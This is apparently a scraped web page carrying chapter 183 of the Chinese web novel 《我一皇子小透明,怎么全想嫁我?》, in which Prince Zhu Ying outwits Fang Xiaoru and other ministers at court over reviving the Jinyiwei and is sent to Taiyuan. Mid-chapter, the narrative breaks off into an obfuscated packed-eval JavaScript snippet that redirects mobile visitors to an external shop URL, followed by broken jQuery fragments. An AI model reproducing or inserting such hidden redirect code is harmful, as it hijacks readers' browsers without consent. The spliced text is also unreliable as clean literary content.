第183章 舌战群儒,老二十二真威风!
作品:《我一皇子小透明,怎么全想嫁我?》 朱穗愣了一下,他张了张嘴,刚想说些什么,却被朱楹那平静如水的眼神制止了。
“老十九,稍安勿躁。”
朱楹轻声说了一句。
随后,他缓缓转身,面向那群乱作一团的大臣。
特别是那个正要做出一副以死明志、悲愤欲绝模样的方孝孺。
“方大人。”
朱楹的声音不高,却在此刻死寂的朝堂上显得格外清晰。
“本王只是提了一句重设锦衣卫,怎么就把你要死要活的?”
“这锦衣卫还没设呢,你就这般惊慌失措。”
“莫非是心虚了?”
方孝孺的身子猛地一僵,捧着乌纱帽的手都在微微颤抖。
他瞪大了眼睛,指着朱楹,气得胡须乱颤。
“你……你一派胡言!”
“老夫这是为了江山社稷!为了百官清誉!”
“若是锦衣卫重出江湖,必定也是生灵涂炭,人人自危!”
“老夫死不足惜,但绝不能让你这奸佞之言祸乱朝纲!”
朱楹闻言,不仅没生气,反而笑得更开心了。
他迈开步子,一步一步地走向方孝孺。
那沉稳的脚步声,像是踩在众人的心跳上。
“奸佞之言?”
“方大人这顶帽子扣得可真大啊。”
“本王身为皇子,向父皇建言献策,怎么就成了奸佞?”
“反倒是齐泰齐大人,还有黄子澄黄大人。”
朱楹猛地转过头,目光如刀,直刺那两位刚才还在拼命担保的大臣。
那眼神里的寒意,让两人不由自主地打了个寒颤。
“刚才方大人还没说什么呢,你们俩就跳出来担保。”
“甚至还要随方大人一起死谏。”
“怎么?你们是方大人的家奴吗?”
“还是说,你们平日里就私交甚笃,是一条绳上的蚂蚱?”
这一连串的质问,如同一记记重锤,狠狠地砸在两人的心口。
齐泰的脸色瞬间煞白,额头上渗出了细密的冷汗。
他慌乱地摆着手,眼神躲闪,不敢与朱楹对视。
“没……没有的事!”
“安王殿下误会了!臣等只是出于公心!”
“绝无私交!绝无私交啊!”
黄子澄更是吓得腿都软了,差点跪在地上。
结党营私。
这四个字在大明朝,那可是掉脑袋的大罪啊!
尤其是洪武爷最恨的就是这个!
“出于公心?”
朱楹冷哼一声,步步紧逼。
“既然是公心,为何不问青红皂白,就先给方大人担保?”
“锦衣卫是父皇的耳目,是查贪腐的利器。”
“你们如此惧怕,如此抵触,甚至不惜以死相逼。”
“这分明就是心中有鬼!”
“这分明就是结党营私,意图蒙蔽圣听!”
“轰!”
朝堂上一片哗然。
原本那些还在跟着起哄的大臣们,此刻一个个都闭上了嘴。
他们终于回过味儿来了。
这安王殿下,是在给他们挖坑啊!
这哪是在查方孝孺,这分明是在敲打整个文官集团!
谁要是再敢替方孝孺说话,那就是结党营私的同伙!
这顶大帽子扣下来,谁顶得住?
方孝孺看着周围那些渐渐退缩的同僚,心里一阵绝望。
他知道,自己这次是栽了。
栽在一个从未放在眼里的废皇子手里。
但他不甘心。
既然你要整我,那我就拉你一起下水!
“朱楹!”
方孝孺突然大吼一声,不再顾及什么君臣礼仪。
他双目赤红,状若疯癫。
“你也别得意!”
“就算重设锦衣卫又如何?”
“锦衣卫只敢查百官,难道还敢查你们这些皇子吗?”
“你刚才那些污蔑老夫的话,也没人能证明真假!”
“若是查不出来,你就是欺君!你也要掉脑袋!”
这是典型的鱼死网破。
他是想告诉所有人,锦衣卫是皇家的狗,肯定会包庇皇子。
这样一来,就算查出什么,也不能服众。
然而,朱楹却是一脸的坦然。
他耸了耸肩,摊开双手,一副无所谓的模样。
“查啊。”
“随便查。”
“本王身正不怕影子斜。”
“哪怕把锦衣卫住进本王府里,本王也举双手欢迎。”
“只要能还大明一个朗朗乾坤,本王受点委屈又算得了什么?”
这番话,说得大义凛然,掷地有声。
与方孝孺刚才那副气急败坏的样子,形成了鲜明的对比。
高下立判。
一直坐在龙椅上冷眼旁观的朱元璋,眼中闪过一丝赞赏。
好小子。
有胆色,有手段。
不仅把方孝孺逼到了绝路,还把自己摘得干干净净。
这手段,颇有朕当年的风范啊。
火候差不多了。
再闹下去,就要收不了场了。
“够了!”
朱元璋猛地一拍龙椅扶手,发出“砰”的一声巨响。
大殿内瞬间安静下来,所有人都屏住了呼吸。
朱元璋站起身,目光威严地扫视了一圈。
最后,他的目光落在了方孝孺身上。
那眼神里带着几分警告,几分敲打。
“方孝孺,你身为翰林侍讲,当知言多必失。”
“有些话能说,有些话不能说。”
“今日之事,念你也是一片忠心,朕就不予追究了。”
“但若有下次,定斩不饶!”
方孝孺浑身一颤,像是被抽去了脊梁骨一样,瘫软在地。
“臣……谢主隆恩……”
朱元璋又转头看向朱楹和朱穗。
“至于太原社火一案。”
“命安王朱楹、谷王朱穗,即刻启程前往太原。”
“务必查个水落石出!”
“若有包庇,严惩不贷!”
这就等于是一锤定音了。
“儿臣领旨!”
朱楹和朱穗跪下谢恩。
“退朝!”
朱元璋一挥袖子,头也不回地离开了奉天殿。
……
大殿外,阳光刺眼。
朱穗擦了一把额头上的冷汗,心有余悸地拍了拍胸口。
“吓死我了。”
“老二十二,你刚刚真要重设锦衣卫啊?”
“那玩意儿要是放出来,咱们哥几个也没好日子过啊。”
他是真怕了。
刚才那阵势,要是父皇真的一怒之下重设了锦衣卫。
那这朝堂以后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256212|196293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还不成了人间地狱?
朱楹看着朱穗那副怂样,忍不住笑了。
他伸了个懒腰,显得格外轻松。
“放心吧。”
“父皇不会重设锦衣卫的。”
“至少现在不会。”
朱穗愣住了,一脸的不解。
“为什么?”
“你刚才不是说得信誓旦旦的吗?”
朱楹摇了摇头,眼中闪过一丝睿智的光芒。
“因为父皇还没老糊涂。”
“锦衣卫是把双刃剑,伤人伤己。”
“现在大明江山初定,需要的是休养生息,而不是严刑峻法。”
“我刚才那么说,只是为了吓唬吓唬那帮文官。”
“让他们知道,咱们皇子也不是好惹的。”
朱穗听得一愣一愣的。
他看着眼前这个弟弟,突然觉得有些陌生。
这还是那个闷葫芦吗?
这心眼子,简直比蜂窝煤还多啊!
……
后殿,御书房。
“哈哈哈哈!”
一阵爽朗的大笑声,在空旷的大殿里回荡。
朱元璋坐在龙椅上,笑得前仰后合,眼泪都快出来了。
他一边笑,一边拍着大腿。
“痛快!真是痛快!”
“标儿,你看见没?”
“看见那帮文官吃瘪的样子没?”
“特别是那个方孝孺,脸都绿了!”
“平日里一个个满嘴仁义道德,这也不行那也不行。”
“今天被老二十二一吓,全都露了馅!”
朱标站在一旁,手里端着一杯热茶,脸上也带着无奈的苦笑。
“父皇,您就别笑了。”
“刚才儿臣都捏了一把汗。”
“万一二十二弟真的不管不顾,非要重设锦衣卫,那可怎么收场?”
朱元璋摆了摆手,接过茶杯喝了一口。
“放心,那小子精着呢。”
“他要是真想设,就不会当着那么多人的面说了。”
“他这是在跟朕演戏呢。”
“是在告诉朕,他有能力处理这些麻烦。”
说到这里,朱元璋放下茶杯,脸上的笑容渐渐收敛。
取而代之的,是一抹深思。
“标儿,这次派他们去太原,朕是有深意的。”
“老三那个案子,其实朕心里有数。”
“多半是有些猫腻,但也不至于谋反。”
“让老二十二去,一是借机敲打敲打老三。”
“二是想让这小子出去历练历练。”
“一直在宫里憋着,再好的苗子也得废了。”
朱标点了点头,深以为然。
“父皇英明。”
“二十二弟确实是个可造之材。”
“只是……这次回来之后,他的封地……”
“封地的事,朕已经想好了。”
朱元璋打断了朱标的话,眼中闪过一丝狡黠的光芒。
“等他从太原回来。”
“只要这差事办得漂亮。”
“朕就给他一个大大的惊喜。”
“给他一个……让他‘满意’的安排。”
朱标看着父皇那副神秘兮兮的样子,心里不禁有些好奇。
难道父皇真的打算重用二十二弟了?
不过,看这架势。
这小子以后的日子,怕是不会太平了。

